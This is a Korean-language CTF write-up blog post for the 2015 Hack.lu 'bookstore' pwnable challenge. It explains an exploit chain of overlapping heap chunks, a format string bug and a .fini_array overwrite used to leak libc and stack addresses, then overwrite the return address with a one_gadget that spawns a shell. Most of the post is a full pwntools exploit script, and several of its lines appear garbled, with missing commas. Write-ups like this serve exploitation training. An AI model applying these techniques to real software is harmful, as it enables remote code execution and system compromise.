[2015 Hack.lu] bookstore

2019. 8. 1. 01:03

overlapping_chunks 와 FSB와 stack에 값 채워넣기가 포함된 문제.

처음에 printf(heap_area)를 하길래, stack에서 fsb를 못할줄 알았다...


그런데 메뉴 선택지에서 128개를 받는것을 보고 스택에 fsb에 필요한 인자를 넣을 수 있다는 것을 늦게 알아서...

fsb를 stack에 이미 존재하는 값만으로만 수행하려는 생고생을 한 문제다...


1. overlapping_chunks 스킬을 이용하여 dest영역을 원하는 값으로 조절가능

2. menu 선택에서 fgets(choice, 128, stdin)으로 128개 입력가능 <<-- 스택에 원하는 값 넣기 가능

3. printf(dest)에서 FSB 가능



그런데 fsb를 할 수 있는 기회가 1번밖에 없다. 그래서 .fini_array를 덮어서 다시 main으로 뛰게 할 수 있다.


4. fsb로 stack_address와 libc_address를 leak

5. .fini_array를 main으로 덮는다.

6. 다시 main으로 돌아와 위의 과정을 수행.

7. fsb로 return address를 oneshot_gadget으로 덮는다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
 
conn = process("./books")
 
def order(id, data):
    conn.sendlineafter("5: Submit"str(id))
    conn.recvuntil("Enter first order:")
    conn.sendline(data)
 
def remove(id):
    conn.sendlineafter("5: Submit"str(id+2))
 
def submit(choice):
    conn.sendlineafter("5: Submit""5"+"\x00"*7+choice)
 
fini_array = 0x6011b8
free_got = 0x6013b8
 
# stage 1
remove(2)
order(1"A"*(0x88)+p64(0x151))
 
payload  = "A"*8
payload += "%"+str(0xa39)+"c"
payload += "%13$hn"
payload += "%2$p "
payload += "%17$p"
payload += "A"*(108-len(payload))
 
order(1, payload)
submit(p64(fini_array))
conn.recvuntil("Order 2:")
conn.recvuntil("Order 2:")
 
# leak
conn.recvuntil("0x")
leaks = conn.recvuntil("AAAAA")[:-5].strip().split(" ")
 
libc_base = int("0x"+leaks[0], 16- 0x3c6780
ret_addr = int(leaks[1], 16- 0x200
log.info("libc_base : " + hex(libc_base))
log.info("ret_addr : " + hex(ret_addr))
 
#stage 2
remove(2)
order(1"A"*(0x88)+p64(0x151))
 
one_gadget = libc_base + 0x45216
log.info("one_gadget : " + hex(one_gadget))
 
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
head = (one_gadget >> 16& 0xFFFF
tail = one_gadget & 0xFFFF
 
payload  = "A"*8
payload += "%"+str(head)+"c"
payload += "%13$hn"
payload += "%"+str((0x10000+tail-head)%0x10000)+"c"
payload += "%14$hn"
 
payload += "A"*(108-len(payload))
 
order(1, payload)
submit(p64(ret_addr+2+ p64(ret_addr))
conn.recvuntil("Order 2:")
conn.recvuntil("Order 2:")
 
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[hack.lu CTF 2014] OREO  (0) 2019.07.27
[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

+ Recent posts